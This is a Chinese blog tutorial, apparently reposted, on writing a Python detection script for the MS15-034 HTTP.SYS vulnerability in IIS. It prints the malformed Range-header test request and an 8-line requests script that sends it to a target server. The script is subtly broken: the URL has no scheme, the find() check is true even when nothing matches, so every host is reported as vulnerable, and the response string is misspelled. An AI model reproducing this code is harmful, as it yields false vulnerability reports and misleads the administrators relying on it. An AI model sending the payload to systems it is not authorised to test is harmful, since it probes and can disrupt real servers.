python漏洞扫描器编写,用Python编写Web漏洞检测工具

python漏洞扫描器编写,用Python编写Web漏洞检测工具作为单位的网络安全管理员,经常会遇到这样的情况,某些漏洞在互联网上被批露后,在用的扫描工具却无法及时集成。遇到这种情况,领导会说:“自己想办法,抓紧检测是否有这个漏洞。”很多人会告诉你可以用自行编写Poc这个方法,指的就是根据漏洞的简单原理写出对应的漏洞检测代码,用来验证漏洞是否存在。那么如何编写Poc呢?可能你会把它想象的无比困难。Python的出现,极大简化了Poc的编写过程,我们不需要再把时…

作为单位的网络安全管理员,经常会遇到这样的情况,某些漏洞在互联网上被批露后,在用的扫描工具却无法及时集成。

遇到这种情况,领导会说:“自己想办法,抓紧检测是否有这个漏洞。”很多人会告诉你可以用自行编写Poc这个方法,指的就是根据漏洞的简单原理写出对应的漏洞检测代码,用来验证漏洞是否存在。那么如何编写Poc呢?可能你会把它想象的无比困难。

Python的出现,极大简化了Poc的编写过程,我们不需要再把时间浪费在网络连接、发送HTTP数据等繁琐的杂事上。以15年打击面最广的“HTTP.SYS远程执行代码漏洞”(ms15-034)为例,编写Poc只需要两个步骤。

第一步:简单了解漏洞触发机制

在网上可以搜索到,这个漏洞触发机制就是:使用IIS作为WEB容器可能存在编号为MS-15034的远程代码执行漏洞,可以发送测试代码,若返回“Requested Range Not Satisfiable”则证明存在此漏洞。

下面就是被公布的测试代码:

Host: stuff

Range: bytes=0-” + hexAllFfff

简单来说,要验证是否存在漏洞,只要把测试代码发送到目标服务器上,进行验证即可,而这就是利用Python编写Web漏洞检测工具(Poc)的过程。

第二步:用Python编写漏洞检测具体代码

代码只有8行,我进行了详细注释,直接贴出来。

import requests # 发送web请求所需的库

url = ‘127.0.0.1’ # 需要测试的服务器IP

payload = {‘Host’:’stuff’,’Range’:’bytes=0-18446744073709551615′} # 测试代码

r1 = requests.get(url, headers=payload) #发送测试代码

if str(r1.content).find(‘Requested Range Not Satisfialbe’): # 检查返回结果

print(‘{}有ms15-034漏洞’.format(url))

else:

print(‘{}不存在ms15-034漏洞’.format(url))

简单两步加上8行代码,就完成了一个ms15-034漏洞检测工具。当然,实际应用还有很多需要完善的地方,那就自己动手吧

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:http://bianchenghao.cn/34354.html

(0)
编程小号编程小号

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注